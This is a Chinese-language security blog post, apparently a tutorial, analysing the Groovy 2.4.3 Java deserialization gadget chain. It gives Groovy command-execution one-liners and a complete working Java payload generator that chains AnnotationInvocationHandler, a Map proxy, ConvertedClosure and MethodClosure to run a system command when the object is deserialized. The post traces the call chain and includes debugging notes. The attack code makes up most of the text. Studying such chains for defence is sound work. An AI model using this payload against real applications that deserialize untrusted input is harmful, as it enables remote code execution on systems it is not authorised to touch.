Groovy反序列化链分析

前言

Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行。
在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用 groovy-all

环境搭建Groovy反序列化链分析

<dependency> 	<groupId>org.codehaus.groovy</groupId> 	<artifactId>groovy-all</artifactId> 	<version>2.4.3</version> </dependency> 

Groovy命令执行

MethodClosure

package org.example;  import org.codehaus.groovy.runtime.MethodClosure;  import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;  public class methodClosure {     public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {         MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");         Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);         m.setAccessible(true);         m.invoke(mc, "calc");     } } 

很朴素,一眼看出漏洞点在doCall方法,调试一波
Groovy反序列化链分析
invokeMethod顾名思义就是执行方法的,调试进去看也确实如此,看getOwner是获取到this.owner,看构造方法,owner是一个对象
Groovy反序列化链分析
owner我们是设置了的,owner就是我们传入的Runtime对象,method同理可控,这样就实现了任意类方法调用
Groovy反序列化链分析

String.execute()

Groovy为String对象封装了一个execute方法用来动态执行命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令ls
注意这里,创建一个Groovy类文件,不是创建java类文件了

package org.example  class stringExecute {     static void main(String[] args){         println("calc".execute().text);     } } 
// 直接命令执行 Runtime.getRuntime().exec("calc") "calc".execute() 'calc'.execute() "${"calc".execute()}" "${'calc'.execute()}"  // 回显型命令执行 println "cmd /c dir".execute().text println 'whoami'.execute().text println "${"whoami".execute().text}" println "${'whoami'.execute().text}" def cmd = "whoami"; println "${cmd.execute().text}"; 

ConvertedClosure

ConvertedCloure实际上是一个动态代理类,它继承了ConversionHandler
Groovy反序列化链分析
ConversionHandler又继承了InvocationHandler
Groovy反序列化链分析
因此该类是一个动态代理,然后注意invokeCustom,这个和InvocationHandlerinvoke是一个意思,代理的具体逻辑。如果初始化时指定的methodinvokeCustom指定的method参数相同,则invokeCustom方法将会调用代理对象 Closurecall方法执行传入参数执行

Groovy反序列化构造

说到动态代理就得想到CC1

package org.example;  import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.MethodClosure;  import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.Map;  public class convertedClosure {     public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {         //封装我们需要执行的对象         MethodClosure methodClosure = new MethodClosure("calc", "execute");         ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");          Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor<?> constructor = c.getDeclaredConstructors()[0];         constructor.setAccessible(true);          // 创建 ConvertedClosure 的动态代理类实例         Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);          // 使用动态代理初始化 AnnotationInvocationHandler         InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);          try{             ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));             outputStream.writeObject(invocationHandler);             outputStream.close();              ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));             inputStream.readObject();         }         catch(Exception e){             e.printStackTrace();         }     } } 

调用链

AnnotationInvocationHandler.readObject()     Map.entrySet() (Proxy)         ConversionHandler.invoke()             ConvertedClosure.invokeCustom() 		        MethodClosure.call()                     ProcessGroovyMethods.execute() 

流程分析

调用entrySet
Groovy反序列化链分析
触发invoke,this是ConvertedClosure它继承了ConversionHandler,所以是走进父类里面的方法,在这里面进而触发invokeCustom
Groovy反序列化链分析
最后调用call方法rce
Groovy反序列化链分析Groovy反序列化链分析

发表评论

评论已关闭。

相关文章